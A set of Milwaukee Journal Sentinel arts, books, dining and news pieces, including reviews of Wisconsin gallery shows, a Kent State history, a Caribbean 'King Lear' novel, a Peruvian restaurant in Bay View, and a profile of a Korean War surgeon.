Lipman is also showing dollhouse-sized vignettes in cast metal that suggest the remains of disaster, long neglect, or both: the miniature furnishings are surrounded by lush organic growth, like jungle plants reclaiming a ruin. Lipman calls this series "Distill," implying that time or crisis has reduced these environments to the plant world's survivors: lichen, ferns, gingko. Unfortunately, the detail and textures are obscured by inadequate lighting; this series is far more engaging in the excellent photographs on Lipman's website, which are strongly lit from the front. I'm also not sure about the dollhouse scale, which seems to anchor these works in the realm of play. Nevertheless, it's inspiring to see Lipman, who has an international reputation for her work in glass, branching out into such new territory.

Michelle Grabner is represented by a series of oil-on-burlap "gingham" paintings and two bronzes cast from crocheted throws. The paintings are a revelation, with loose, dynamic brushwork, vivid color and texture invigorating a simple grid. Grabner's baseline is repetition and an imposed system--in this case, the structure of woven gingham. But unlike the crisp, almost flat quality of much of her previous work, these paintings' messy liveliness and textured burlap ground pivot to the warmth and ease of domestic textiles.

In contrast, Grabner's bronzes negate the structure of crochet, transforming nets of looped yarn into pierced monoliths. Cold and hard, they stiffen the relaxed gestures of suspended cloth, and their bruise-like patina recalls memorial statues. Grabner describes them as monuments to the textiles she's used as stencils and inspiration for other works over the years. I found them more interesting as markers of her work's trajectory than stand-alone pieces.

McCaw and Budsberg's sculptures, miniatures of vernacular buildings, feel exceptionally strong here: the subdued, uneven lighting and tight space reinforces their unsettling aspect. "Counterweight" consists of a meticulously rendered model of a barn, trussed with heavy rope and hanging off the side of an eight-foot wall; on the other side of the wall a big old rock rests on the ground, wrapped in the same rope. The rope is broken, its frayed ends floppy and useless. I first saw "Counterweight" in the James Watrous Gallery in Madison, where its nonsensical conceit seemed almost comical. Hemmed into this small room, it feels not only impossible (what's holding the barn up now, and why was it hanging there in the first place?) but deeply disturbing.

"Reaction" is similarly ungrounded. It looks as if the artists took a saw to identical model farmhouses and then melded them together, resting the strange amalgam off-kilter on the floor like a top. Both of these sculptures intimate questions about security, foundations and the idea of home. Recently McCaw and Budsberg have been exploring film and open-ended narrative, dressing up as 19th-century settlers who might have inhabited their structures. By including a hazy photograph of themselves in pioneer garb, of thethey add a layer of complex historical struggle to the sculptures' psychic burden.

"Living Rooms," along with several other shows curated under the rubric "Wisconsin Wild and Tame," is on view through July 24 at John Michael Kohler Arts Center, 608 New York Ave., Sheboygan.

Jody Clowes is the director of the Wisconsin Academy's James Watrous Gallery in Madison and an Art City contributor.
Installation of inaugural exhibit at The Suburban gallery's new space in Walker's Point. Credit: Courtesy The Suburban

Mary Louise Schumacher Art City An online journal about visual art, the urban landscape and design. Mary Louise Schumacher, the Journal Sentinel's art and architecture critic, leads the discussion and a community of writers contribute to the dialogue. SHARE Installation of inaugural exhibit at The Suburban gallery's new space in Walker's Point. Courtesy The Suburban Installation of inaugural exhibit at The Suburban gallery's new space in Walker's Point. Courtesy The Suburban Installation of inaugural exhibit at The Suburban gallery's new space in Walker's Point. Courtesy The Suburban Installation of inaugural exhibit at The Suburban gallery's new space in Walker's Point. Courtesy The Suburban

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The work filling out the inaugural effort in the Suburban's Walker's Point space is as clean, polished and sharp-edged as the newly renovated space itself. It features work by five guys  Gavin Turk, John Rieppenhoff, John Waters, Joe Scanlan and Alan Belcher  whose discrete, contained works stand in notable contrast to their makers' reputations as individuals, which have tended to exceed, or at least equal, that of their production.

Who really cares about reputations and extra-artistic profiles right? Perhaps, but in this case it seems to be part of the point.

John Waters, yes that John Waters, contributes a print that reads as an advertisement for Barnum & Bailey Circus, but the circus in this case is in Marfa, Texas, home to sculptor Donald Judd's reliquary of minimalist objects. The text urges would-be visitors to "SEE DONALD JUDD'S BED" and to "PRETEND TO SEE THE MARFA LIGHTS." The sarcasm in Waters' piece is plain to anyone familiar with the hushed, withdrawn reverence that attends Judd's work and often-impenetrable philosophy. The humor is only more palpable if one can, as I did, conjure up a scene from "Pink Flamingos" next to a static image of one of Judd's concrete cubes hulking silently in the parched West Texas scrub.

Joe Scanlan's makeshift coffin and funerary altar lies obstructively in the center of the small gallery, which is fine because it feeds off the forced intimacy. "DIY, or How to Kill Yourself Anywhere in the World for Under $399" is constructed from IKEA cabinetry and garnished with a single live flower. There is nothing more fraught than death, and nothing more vacant than furniture that can be assembled with a free disposable hex wrench. It's a whitewashed passing that means everything and nothing at all; a contradiction that reminds us of Scanlan's controversial project for the 2015 Whitney Biennial that forced us to think about race in a way that was so conflicted we couldn't help but start asking very basic and honest questions about a politicized issue.

Gavin Turk will be familiar to some as one of the famed YBA, or Young British Artists, included in the "Sensation" show at the Brooklyn Museum that ruffled New York City's former mayor Rudolf Giuliani's feathers a few decades ago. His work complements Scanlan's sterile morbidity on the back wall with his "Car Boot Mask." Macabre, as death masks tend to be, wrapped in burlap and encased in a Plexiglas box, it somehow deflects any ordinary urges of sympathy that we might bestow on the dead. It's as prophylactic as it is pathetic, and it sanitizes as certainly as it commemorates.

If Turk and Scanlan use industrial presentation to mitigate what might otherwise be profound, John Rieppenhoff's can of Orange Crush soda in a vitrine, atop a rising pedestal, takes the mundane and gives it unlikely gravity. It's a strategy that has been used to exhausting effect by many artists but the retro cuteness of the can tickles and the branded text on the can humorously implicates another macho Minimalist, John Chamberlain, who made a career of crushing automobiles into tidily irreverent art treasures.

Finally, on the wall by the exit, Alan Belcher's ceramic plaque of a JPG icon reminds us of the ongoing challenge to uniqueness and constructed objects that someone like Donald Judd couldn't have imagined four decades ago. And in doing so, Belcher's work indirectly sums up the show by considerning the significance of the personal and biographical in a culture that consumes art from an increasingly indirect or remote position.

In 2004 Anna Chave wrote a groundbreaking text "Minimalism and the Rhetoric of Power" that called out the inherent masculinity and chauvinism within the minimalist art tradition. She asserted that the idealism of the muscular bending of metal and forming of concrete was more about chauvinism than idealized forms. This show curated by Michelle Grabner seems aware of Chave's evaluation and functions as a survey of how the history of minimalism has evolved in light of a changing social and cultural climate. Sure it's a show of five guys whose reputations precede them, but its five guys on purpose I think, to underscore the evolution of a prior macho dude tradition that tried to put a nail in the coffin of the personal impulse in art, which has since been exhumed and allowed to walk the contemporary landscape again, stumbling along with humor, personality, irreverence and contradiction. The show is on view at The Suburban in Walker's Point, 723 S. 5th St., by appointment and through May 5.

Shane McAdams is an artist and writer who splits his time between Brooklyn and Milwaukee. He is a regular Art City contributor.
William Kentridge, Felix in Exile, 1994. Still from 35mm film transferred to video, 8 min, 43 sec loop. Collection of Museum of Contemporary Art, Chicago. Gift of Susan and Lewis Manilow, 2001.23. Credit: Courtesy of the artist and Marian Goodman Gallery

Mary Louise Schumacher Art City An online journal about visual art, the urban landscape and design. Mary Louise Schumacher, the Journal Sentinel's art and architecture critic, leads the discussion and a community of writers contribute to the dialogue. SHARE William Kentridge, History of the Main Complaint, 1996. Still from 35mm film transferred to video, 5 min, 50 sec loop. Collection of Museum of Contemporary Art, Chicago. Gift of Susan and Lewis Manilow, 2001.24. Courtesy of the artist and Marian Goodman Gallery

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William Kentridge has created some of the most profoundly imagined artworks of our time. Tucked away in a small gallery in a corner of the Madison Museum of Contemporary Art are two his animated films. One's impulse might be to head straight to the dramatic prints by Frank Stella also on display, but take a quick right into the Imprint Gallery. You will be rewarded.

"The Heart has its own Memory" is a quotation from Albert Camus' novel "The Fall," which holds all people accountable for the destruction of war. It is a fitting title for this exhibit. Created between 1994 and 1996, animated charcoal drawings by Kentridge examine the legacy of apartheid in South Africa, asking how he, and we, even as bystanders, must be responsible for it.

His two main characters, Soho Eckstein, a voracious, pinstriped industrialist, and Felix Teitlebaum, a sensitive and romantic artist, both resemble Kentridge and work as fictional alter egos. In "Felix in Exile" we see Teitlebaum naked in a small hotel room, contemplating the charts and maps of a black African woman who appears as a surveyor, gauging and measuring the barren South African landscape. Her drawings move and shift to display prone bodies bleeding on the ground, old newspapers blowing past, obscuring the figures as they transform into the land itself. The surveyor herself becomes a victim, or a martyr to victimization, keening in pain and falling to the ground, her blood spreading around her. The hotel room fills with water. In the final shot we see Felix standing knee deep in a pond, gazing forlornly into the distance.

"History of the Main Complaint" opens to Eckstein lying in a hospital bed. He is comatose, his body being prodded by doctors. The patient dreams of driving past the bodies of black Africans. He is a witness to several vicious beatings. We see Eckstein's eyes in the rearview mirror. A ghostly figure emerges from the darkness and smashes into his windshield. The resultant crash wakens Eckstein from his coma. The film concludes with Eckstein surrounded by phones and tickertape, smoking a cigar, his dream vision all but forgotten.

"I am only an artist," said Kentridge in the documentary "Anything is Possible." "My job is to make drawings, not to make sense." This statement is on the mark. The animations are not easy. Symbols become complex and the narrative indirect. Kentridge works around the edges of fact and the senses. His drawings are expressive and choppy, full of force and speed. We feel the emotional impact of the films as much as we are able to understand them overtly.

This mystery belies a deep understanding of the human condition and an empathy for it. Both of Kentridge's parents were lawyers who represented people marginalized as a result of apartheid. He has similarly devoted his artistic practice to expose injustice and to communicate the voices that suffer under it.

To me, what is most amazing about the films are that they are so heart rendingly beautiful. At times they are almost unbearable. Kentridge draws much of the imagery for the films on single sheets of paper, creating an image in charcoal, photographing it, and then transforming the drawing for the next frame. The resultant stop-action animation contains the erasures and marks of previous drawings, creating a ghostly narration that parallels the dissolution of memory, of history itself. The image of the surveyor character twisting in pain and sorrow carries the gestures and marks of her movement in and around her. It is a potent, deeply felt human gesture, on par with the greatest achievements in art.

Artwork created as political protest can quickly lose its impact. Particular events or ideas can leave them feeling dated, like objects out of time. They can also be inhibited by too much detail, text and analysis. Still, works like Goya's "The Third of May" or the drawings of Kathe Kollwitz have retained their universal impact. The art of William Kentridge will have significance far beyond their specific moment in history.

"William Kentridge: The Heart Has its own Memory" is on view at the Madison Museum of Contemporary Art, 227 State St., Madison, through April 24. For more information visit mmoca.org.

Rafael Francisco Salas is a painter, a professor of art at Ripon College and a regular Art City contributor.
SHARE 67 Shots: Kent State and the End of American Innocence. By Howard Means. Da Capo Press. 288 pages. $25.99.

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Responding to widespread campus protests against the Vietnam War, Gov. Ronald Reagan of California offered an easy solution. "If it takes a bloodbath" to end it, he suggested on April 8, 1970, "let's get it over with, no more appeasement."

Less than one month later, Reagan got his wish, thanks to another law-and-order governor  James Rhodes of Ohio  calling on the National Guard to quell student unrest at Kent State.

Vilifying student protesters as "worse than the Brown Shirts," Rhodes vowed "we are going to eradicate the problem. We are not going to treat the symptoms."

The following day, those soldiers killed four unarmed Kent State students and wounded nine more, inspiring the impassioned Neil Young song "Ohio"  and, now, Howard Means' "67 Shots: Kent State and the End of American Innocence," in which Means tries to understand what happened and why.

In the process, Means draws upon scores of interviews and a rich archival record to dispel numerous myths that have grown up around the events culminating on May 4, 1970, with four dead in Ohio.

The Kent State protests  initially triggered by President Richard Nixon's April 30 speech announcing that Washington was expanding the Vietnam War into Cambodia  weren't orchestrated by outside agitators. Or by what Nixon, on May 1, castigated as "bums blowing up campuses."

There were no snipers, as some of the Guard would later claim. Nor were the soldiers' lives ever endangered by the bricks, stones and human waste being hurled their way. Most important, the U.S. Department of Justice concluded that the students were farther from the soldiers than alleged and weren't advancing; nine of the 13 casualties were shot in the side or back.

So why did the Guard shoot at all?

Means is dispassionate and fair in noting that most of them were young, sleep deprived, inexperienced, badly trained, poorly led, angry and scared.

While we may never know whether the soldiers received an order to fire, one can see upon reading this book how someone mired in that situation might.

Means is less interested in blaming the soldiers than the leaders  civilian and military  who failed them by creating an impossible situation in the first place.

His gallery includes a laissez-faire university president who let things drift; a mayor who panicked in calling for the Guard after an initial night of rioting that was less about Cambodia than beer; an overly zealous law-and-order governor in a tough election campaign; and Guard commanders who didn't have a clear sense of what they were trying to accomplish.

Means also spends time providing the context within which these specific mistakes were made: a country as badly polarized as the one we live in now, which left little room for the sort of reasoned dialogue that might have averted a bloodbath. One sees this most clearly through Means' chronicle of the aftermath.

Numerous residents of Kent and parents of students responded with variations on the wish that soldiers had finished the job by killing all the protesters.

Parents of one of the dead  a ROTC student and athlete in the wrong place at the wrong time  received a letter calling their boy a "destructive, riot-making communist" and advising the parents to "be thankful he is gone."

Vandals slashed a black ribbon that one professor had tied around a tree in his yard to mourn the dead; his kids were stoned by their playmates and he himself endured a neighbor tracking him with a gun as he walked down the street.

Soldiers at Quantico Marine Base cheered when an enlisted man scribbled "Kent State 0, National Guard 4" on a blackboard.

Having described the inconclusive trials that resulted in no convictions of the firing soldiers, Means wonders whether there will ever be closure regarding what happened. He concludes by hoping instead that even if we never forget  and he rightly suggests we shouldn't  we at least try to understand and learn to forgive.
SHARE Even in Paradise. By Elizabeth Nunez. Akashic Books. 320 pages. $27.95. Elizabeth Nunez Leonid Knizhnik

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Ten years ago, novelist Elizabeth Nunez moved "The Tempest" to the Caribbean, taking a hard look at the relationship between Caliban and Miranda while exploring what it might tell us about the intersection of race, class and gender  a vital, sometimes overlooked subtext in Shakespeare's play.

Nunez's latest novel, "Even in Paradise," adopts the same approach by adapting "King Lear," now unfolding on the Caribbean islands of Barbados, Jamaica and Trinidad.

As in Shakespeare's play, Lear and his three daughters  Peter, Glynis, Rebecca and Corinne Ducksworth  are English. And while the Ducksworths have been in the Caribbean for generations, their white skin and accompanying privilege cast a different hue, given that the Ducksworth fortune was made on the backs of Ducksworth slaves.

As in "Lear," such historical context is easily overlooked but always matters; more on this momentarily.

But the actual plot in both play and novel turns on family dynamics, as a petulant and spoiled widower divides his kingdom among his daughters, the eldest two of whom loudly profess their love even though it's the youngest who loves him best.

Here, that kingdom is Peter's real estate, nestled around a Barbadian cove and capped by a stunning house that seems to float in a sea of blue. Glynis (Goneril) and Rebecca (Regan) want to pave paradise and put up condos anchored by a five-star restaurant within the house. Unfortunately for them, that's the part of Peter's holdings reserved for Corinne (Cordelia).

Corinne is as idealistically headstrong and principled as her Shakespearean counterpart; as with the first scene in "Lear," there's a set piece in "Paradise" where it costs her dearly, as she angers the father who dotes on her and who she loves by refusing to flatter him with the sort of empty blandishments bestowed by her scheming sisters.

In "Lear," Cordelia thereafter allies herself with the King of France, who only appears in the first scene of the play. Corinne makes common cause with Emile, a black Trinidadian and aspiring poet who is French on his mother's side and who narrates the entire novel in the first person.

It's a strange choice, since this really isn't Emile's story, despite a thin subplot involving his relationship with his father  think Gloucester and Edgar  that underscores the story of the Ducksworths. Nunez nevertheless gets her story told through Emile by investing him with preternatural insight regarding others' motivations and ascribing it to his "poet's intuition."

Putting aside whether one believes Emile could ever be this perceptive, the insights Nunez places in his mouth are real. They cover topics ranging from the jealousy the two oldest daughters feel because Corinne is Peter's pet to the racism afflicting many of these characters  hailing from a region still struggling with the legacy of slavery and colonialism.

"The past to me was also the present," Emile reflects at one point, as he considers the race-inflected contrast between rich and poor. "It affected our thoughts, our actions."

Like the best productions of "Lear," "Paradise" is strongest when channeling one of the play's great themes: If we turn out backs on the poor within the larger human family, it's only a matter of time before our nuclear families fall apart.

Even as Emile vividly describes the colorful surface of Caribbean culture  its beautiful women, delicious food, vibrant music and sandy beaches  he continually reminds us of what Lear himself finally sees: Appearances can be deceiving.

Ditto this book. It can feel at times like a light beach read made for a Caribbean vacation. But it also continually journeys inland, looking hard at the "tiny shacks" abutting the Ducksworth mansion, the Jamaican slums near Emile's university and the significance of shady Trinidadian trees protecting estates "where there were Africans beaten and tortured."

Hence Nunez's frequent, deftly inserted lessons involving Caribbean history. As her title suggests, one can never escape that history, even when sipping rum on a hilltop mansion overlooking paradise.

IF YOU GO

Elizabeth Nunez will speak and sign books at 7 p.m. April 27 at Boswell Book Company, 2559 N. Downer Ave.
An appetizer called Anticuchos (Peru), which consists of traditional skewers from the streets of Peru with corazon de vaca (cows heart), potatoes, and corn, drizzled with a blended huacatay sauce. Credit: Rick Wood

Carol Deptolla Dining Critic SHARE A classic ceviche (Peru) consisting of delicate fish marinated in a classic "leche de tigre" (lime juice, yellow chili pepper, garlic, ginger and herbs) garnished with sweet potatoes, red onion, and choclo (Peruvian style corn). Rick Wood An entree called Lomo Saltado (Peru) which consists of Hanger steak sauteed with onions, tomatoes, garlic and cilantro, and fried potatoes, accompanied with fluffy rice. Rick Wood Featured drink is at left a pisco sour and a right something called a lima. Rick Wood Interior of C-viche, a pan-Latin restaurant in Bay View. The interior includes paintings on wall of the Peruvian geoglyphs. Rick Wood

A Friday night, and C-viche in Bay View was packed. The irresistible rhythm of salsa danced over the hum of diners talking and laughing, punctuated by the staccato clacking of cocktail shakers at the bar.

Here and there in the low light, the scents of lime, garlic and beef rose from plates at tables.

Join the party? Don't mind if I do.

I'll admit it more or less was crush at first sight when I walked into C-viche, and nothing diminished it over several visits: hospitable service, a stylish but relaxed dining room and gloriously delicious dishes from Peru, Mexico and other Ibero-American countries.

Open since January, C-viche seemed to operate without noticeable hiccups. The owners are service-industry pros: Paco Villar, who grew up near Mexico City, and Karlos Soriano, born in Peru.

Both have worked at Cubanitas downtown, among other restaurants. The chef is Edgar Aispuro, who previously worked at Harbor House.

The dishes mostly are traditional in an atmosphere that's up to the minute  a space the owners constructed and decorated, with some help from friends. The vibe might remind you a little of Cubanitas': fun and sexy and young.

The menu opens with ceviches, naturally.

Those fish and seafood plates were impeccable, quasi-cooked with C-viche's "tiger milk"  lime juice, garlic, herbs and a touch of aji limo and aji amarillo chiles.

The kitchen serves at least five ceviches daily ($9 to $16), including a vegetarian version and two that are Peruvian-style: fish alone (whatever's fresh from the market, most recently flounder) or mixed with squid, mussels and shrimp. They're served with sweet potato, red onion and the large Peruvian corn kernels and corn nuts.

There's something energizing about great ceviche, which makes it all the better to share with friends over a drink.

One of my favorite plates this year is another of C-viche's appetizers for the table, anticuchos ($9). It's street food in Peru, beef heart slices threaded on skewers and grilled.

At C-viche, the marinated slices  the recipe of Soriano's mother, Carmen Cabrera  were perfect, juicy, beefy bites, with just the slightest note of minerality under the herbal sauce. It tasted more like steak than anything.

Vegetable appetizers were compelling, too, such as esquites ($8), Mexican corn salad in creamy chipotle-lime sauce goosed with crumbles of fresh cheese and served with tortilla chips. Or Peru's papa a la huancaina ($8), like a luxurious potato salad  slabs of potatoes draped in a thick, creamy sauce jolted with aji amarillo chiles.

The kitchen makes a salad with quinoa ($12) that's combined with avocado, bell peppers, tomatoes, greens and steak or chicken in lime dressing, fresh and satisfying.

Main dishes also draw from Peru, such as the Chinese-influenced stir fries of lomo saltado ($18), chunks of beef tenderloin, onions and tomatoes served with rice and potatoes, and chaufa de mariscos ($21), fried rice with egg and mixed seafood.

Mexico is represented in dishes like tlacoyos ($13), a pair of thick, oval masa cakes filled with chickpeas and heaped with wilted spinach and chile-tomato sauce. It's a delicious plate, in spite of a heavy dose of cumin in the refried beans alongside it.

The menu takes a turn toward Argentina with churrasco ($28); the grilled beef cut was a full-flavored ribeye topped with chimichurri, such an ideal sauce with tang and garlic.

C-viche serves the beef with roasted potatoes and, unexpectedly, asparagus.

For dessert, C-viche makes a particularly fine flan-topped chocolate cake ($8) and lovely alfajores, the South American sandwich cookies filled with dulce de leche ($8).

C-viche also makes an especially good tres leches cake ($8); purely coincidentally, it happens to have a bit of pisco in it.

(The bar makes good use of the Peruvian brandy in pisco sours, too, and cocktails like the Lima, mixed with passionfruit juice. A chile-infused ice ball manages to cool and heat the Lima at the same time.)

The house ice cream ($8 for two scoops) didn't live up to the other desserts; one flavored with lucuma  the South American fruit that tastes a little like sweet potato  was more icy than creamy.

On the weekends, C-viche makes a mean brunch, too, like a huarache ($9.50) with house-made chorizo, beans, avocado and fried egg atop the dough, or a Benedict ($12) where salmon cakes stand in for English muffins and chile spices up the hollandaise.

C-viche is in a strategic spot at Bay View's northern edge. Near the bars Boone & Crockett and the Backyard, the building that once housed a beauty salon is a block from what will be a large, upscale apartment development on S. Robinson Ave.

The site has other things going for it, too: a parking lot for a dozen cars that could hold a small patio in summer, and a backyard for a bigger patio with a grill for all kinds of skewers next year, Soriano said.

It's the fantastic food and feel-good room, though, that make me wish I were going back to C-viche tonight.

Contact Carol Deptolla at (414) 224-2841, cdeptolla@journalsentinel.com or on Twitter, @mkediner.

C-VICHE

2165 S. Kinnickinnic Ave.

(414) 800-7329

c-viche.com

 (very good)

Food:

Service:1/2

Ambience:1/2

Fare: Ibero-American, emphasizing Peruvian and Mexican

Atmosphere: Relaxed by day, sexy by night

Hours: Lunch, 11 a.m.-4 p.m. Tuesday-Sunday; brunch, 10 a.m.-2 p.m. Saturday-Sunday (lunch menu also served at brunch); dinner, 4-10 p.m. Tuesday-Thursday, 4-11 p.m. Friday-Saturday, 4-9 p.m. Sunday. The bar is open later.

Prices: Entrees, $13-$28

Parking: Adjacent lot for 12 cars and on street

Wheelchair access: Steps at front door; back door accessible, handicapped parking space nearby. Restrooms accessible.

Payment: MasterCard, Visa, American Express, Discover, Diners Club

Of special note: Vegetarian and vegan options; takeout; high chairs, booster seats; private parties; weekend brunch; Wi-Fi; new specials: half-price Mexican entrees Tuesdays, half-price appetizers and select wines Wednesdays; no-smoking warm-weather patio planned

Reservations: Recommended Thursday-Saturday; half the tables designated for walk-ins

Noise level: Mildly loud at peak times



Deptolla's star ratings

Extraordinary. Consistently outstanding in all areas, including food, service, atmosphere and value. A first-class dining experience.

Very good. Most menu items are excellent, though a few might miss the mark. Service generally is very good. A memorable meal is guaranteed.

Good. A worthy restaurant; food is generally appealing.

Fair. A few entrees may be very good; most are average. Work is needed.

Poor restaurants would receive no stars.

Carol Deptolla strives to dine anonymously, with food and drink paid for by the Journal Sentinel. To sign up for the Journal Sentinel's weekly food and dining newsletter, visit www.jsonline.com/newsletters
Gallup's annual consumption poll shows that from 2012 to 2013, an average of 22% of men chose liquor as their preferred alcoholic drink (53% chose beer and 20% enjoyed wine most). In comparison, 24% of women preferred liquor (20% chose beer and 52% preferred wine).

Despite the fact that more women name liquor as their preferred drink, the spirits industry is male-dominated. It's the men doing the distilling, crafting the drinks and wearing smoking jackets and sipping Scotch in print advertisements.

But the following women are leading the charge to increase women's presence and influence in the spirits industry. Meet Liz Henry, Allisa Henley and Katie Rose.

All three were featured on a February panel on women in the spirits industry hosted by the group that launched Madison's Cocktail Week last year.

Liz Henry, co-owner, J. Henry and Sons

Liz and Joe Henry introduced their bourbon in 2015, but the couple had been preparing for years to launch the smooth, well-aged product. On their farm in the village of Dane, they grow an heirloom red corn variety, which they distill at 45th Parallel Distillery in New Richmond and then bring back to the farm to rest in charred oak barrels for a minimum of five years.

During the panel discussion, Liz Henry told stories of owning a company in an industry that is dominated by men but commended the arrival of women on the production side and also as consumers of spirits.

"Women have a great sense of smell and taste, and it is women who define a great cocktail," said Henry. And she sees a delicious future for women and whiskey.

Although women traditionally order wine or vodka drinks, Henry has observed that as they learn more about spirits, many prefer cocktails with more full-bodied flavor. A study by Bourbon Women Association and Indiana University found women prefer higher proof products.

Allisa Henley, distiller, George Dickel Tennessee Whisky

Allisa Henley entered into the spirit industry through the marketing department. She grew up near the George Dickel plant in Tullahoma, Tenn., got her MBA and learned the craft on the job, but her interest and passion led her to the production side.

Although Henley acknowledges the whiskey world is run "by a bunch of old white men that are born into it," women have always been a part of it. She's glad to be in charge now and get some recognition for her skill and hard work.

"There's a shift happening: more respect for women in this industry, more media attention  we're getting respect for the work we've always done," she said.

Katie Rose, co-owner and bar manager, Goodkind

Katie Rose is a law school dropout who returned to her first love, the service industry. She was drawn to cocktails and learned from male mentors.

"Now I want to do it better and push boundaries from a female perspective," she said.

Although Rose runs Goodkind's bar program and is an owner of the restaurant, customers and spirit reps often turn to one of her male employees behind the bar first to order or talk business.

"It's infinitely frustrating, but it's happening less and less," Rose said.

All three women agreed on their dislike for current spirit advertising trends  whiskey for men and "skinny" cocktails for women  but were hopeful that as more women work in the industry and educate female consumers about the world of spirits and cocktails, a shift is inevitable.
An opportunity schools plan from Mequon-Thiensville Superintendent Demond Means (left) and Milwaukee County Executive Chris Abele has drawn criticism from MPS board members. Credit: Annysa Johnson

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The much-anticipated proposal by Milwaukee County Executive Chris Abele and his appointed school commissioner to take control of some of Milwaukee Public Schools' poorest performing schools drew sharp rebukes from board members this week, with at least one suggesting he will not sign off on the deal.

MPS board Director Terry Falk likened the plan, in which Mequon-Thiensville Superintendent Demond Means would operate the schools as a consultant to MPS, to "a shotgun marriage."

"It's almost impossible for us to walk down the aisle with you and say 'I do,'" Falk told Means during a school board working session Thursday night in which Means laid out the proposal as Abele's Opportunity Schools and Partnership Program commissioner.

Means said the plan, which would allow schools to retain their current staffs and most of their per-pupil funding, was the "best case scenario" under a new state law aimed at turning struggling MPS schools over to competing school operators. And failure to agree to the contract, he said, would likely invite a more draconian response from the Republican-controlled Legislature.

"We understand this is not ideal. ... But we believe this is a reasonable pathway that minimizes the impact on MPS," Means told board members.

If they reject it, he said, "we would continue to have to implement the law. ... Jobs would be jeopardized. You would suffer a (larger) funding gap. And the board would have zero input" on the schools' operations.

Outgoing MPS Board President Michael Bonds was the only member to openly support the plan, at least in concept, saying the board risked harsher treatment from Madison if it did not comply.

The Milwaukee City Attorney's Office said it would be evaluating the contract to determine the board's options under the law.

GOP lawmakers' plan

The Opportunity Schools statute, drafted by Republican lawmakers Sen. Alberta Darling of River Hills and Rep. Dale Kooyenga of Brookfield, mandated that Abele appoint a commissioner who would evaluate Milwaukee's poorest performing schools and turn up to three a year over to outside providers. It has been widely derided by critics as a "takeover district."

Abele initially proposed creating a high-quality early childhood program as a means of improving MPS, but Means said they abandoned that plan because it would not have fulfilled the statute.

Amy Mizialko, vice president of the Milwaukee Teachers' Education Association, accused Abele of reneging on a promise not to take more than one vacant MPS building and said the latest proposal "would disrupt the lives of children and their families in communities that are already stressed and marginalized."

"We are not surrendering our schools," she said.

Under the plan provided to board members, the yet-to-be-named schools would be transferred to the opportunity schools district. Students would remain part of MPS, which means the district would retain their per-pupil state funding, but at the reduced charter school rate, and teachers and staff would keep their jobs and benefits as district employees.

Means said MPS' elected school board members would retain "many of their statutory powers" under state law. But the plan also calls for the creation of an "independent, autonomous school governing body" at each school that would take part in the budget process, and interview and make recommendations on principal appointments.

It was not immediately clear what authority the elected School Board would have over the schools. Means said that would have to be negotiated. Critics have characterized the opportunity school district and others like it around the country as undemocratic because they usurp the authority of elected school boards.

Provisions of the plan

Among the other provisions:

Beginning in 2017-'18, the selected schools would shift to a year-round schedule and operate under a community schools model that offers intensive wraparound services, from housing to health care and job training services for students and their families. The services would be provided by the YMCA of Greater Milwaukee, the nonprofit Families and Schools Together, state agencies and Milwaukee County government.

Other partners that would work on such issues as academics, school culture and professional development of teachers and staff include the Chicago-based Academy of Urban School Leadership, The AVID Center of San Diego and the University of Virginia school turnaround program.

The schools would be selected based on leadership, school culture and other criteria. That is likely to fuel criticism that reformists target schools already primed for improvement and leave the toughest schools with the most intractable problems to the struggling public schools. Means said he would evaluate all 53 schools himself with volunteer assistance from deans of local schools of education and others.

Students in the targeted schools would take the same state and district assessment tests as other MPS students. The schools would be deemed successful if students exceed the performance of comparable MPS schools, even minimally, in areas such as reading, math and graduation rates. A school that improves would revert to MPS control after 60 months.

Means' office would hire a principal/supervisor to oversee the schools and a wraparound coordinator. However, those posts would be contingent on outside funding from philanthropic donors or the state. The proposal does not explicitly say how the nonprofit partners would be paid.

Means said again Thursday that he was not being paid and that he was fronting some costs of the plan from his own pocket. Abele, himself a millionaire philanthropist, has yet to secure funding for Means' post or costs associated with the plan.

Abele said he was in the process of creating a nonprofit charitable organization to attract philanthropic dollars, saying donors were reluctant to commit until after he won re-election in the April election. And he has made it clear to Darling and Kooyenga that outside funding would be necessary if they expect Means to be successful.

"When they passed this legislation, there was no funding to do this," Abele said. "Insofar as we're able to show some improvement in the schools  and we think we can  if people want to see this sustained, there's got to be a budget to do that."
John Palese, 93, shows off his Congressional Gold Medal at his home in Milwaukee. Credit: Rick Wood

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John Palese knows how to ask someone in both Spanish and Korean if their head hurts or if they're having trouble coughing.

In the 13 months he spent treating wounded, sick and frostbitten American troops during the Korean War, he managed to pick up quite a few medical phrases in the Korean language. And he learned a lot of Spanish, too, because his unit  the 65th Infantry Regiment was almost entirely soldiers from Puerto Rico.

The 65th Infantry Regiment was founded in Puerto Rico in 1898 and fought in World Wars I and II, but it was in the Korean War that the unit distinguished itself. Nicknamed the Borinqueneers for one of the Indian tribes that originally inhabited the island, the unit arrived in Korea in September 1950 and within months, it was covering the orderly retreat of the 1st Marine Division surrounded by Chinese troops during the bloody Battle of Chosin Reservoir.

Last week, the 65th Infantry was awarded the Congressional Gold Medal and Palese, 93, was in Washington, D.C., for the festivities.

"It's a very surprising trophy. I never would have imagined the 65th would get it," Palese recalled Monday at his Milwaukee home.

A Chicago native, Palese was drafted during World War II and assigned to the Army's Specialized Training Program in the U.S. When the war ended, he was attending the University of Wisconsin and graduated from the medical school in 1948.

When Palese found out a second lieutenant's pay was much higher than a medical intern's salary, he rejoined the Army and was sent to Panama. He was just about finished with his military commitment when he was assigned to the 65th Infantry to fill an open spot for a surgeon and shipped out to Korea. He was one of only a handful of non-Hispanics in the unit, so an interpreter was assigned to him until he began to learn Spanish.

"They were good soldiers, they worked hard, they were loyal. Most of them didn't even live in the United States," recalled Palese.

As a battalion surgeon, Palese triaged and treated the wounded and sick, sending the serious cases to MASH units by helicopter or ambulance. He had a jeep, driver, tent and equipment to set up an aid station, the first stop for the wounded coming off front lines after being treated by medics. He was constantly on the move, following the infantry troops.

"We never knew anything that was coming until they showed up. Every wound was different and you had to treat everyone differently," Palese said. "The only thing that bothered me was seeing bullet holes in helmets. Bullets will go right through helmets."

Because the Army issued soldiers in his unit the wrong footwear and clothing for cold weather, Palese saw many severe frostbite cases. Occasionally he helped Korean civilians, including a couple who brought their very ill baby to Palese's aid station. At the time, penicillin was a new wonder drug and it was in short supply. Palese was ordered to use penicillin sparingly and only on American troops.

But "that wasn't a rule I could always follow," he said, deciding to give the baby an injection of penicillin rather than letting him die from pneumonia.

Six weeks later, the couple found Palese at a different aid station and showed him their very healthy son.

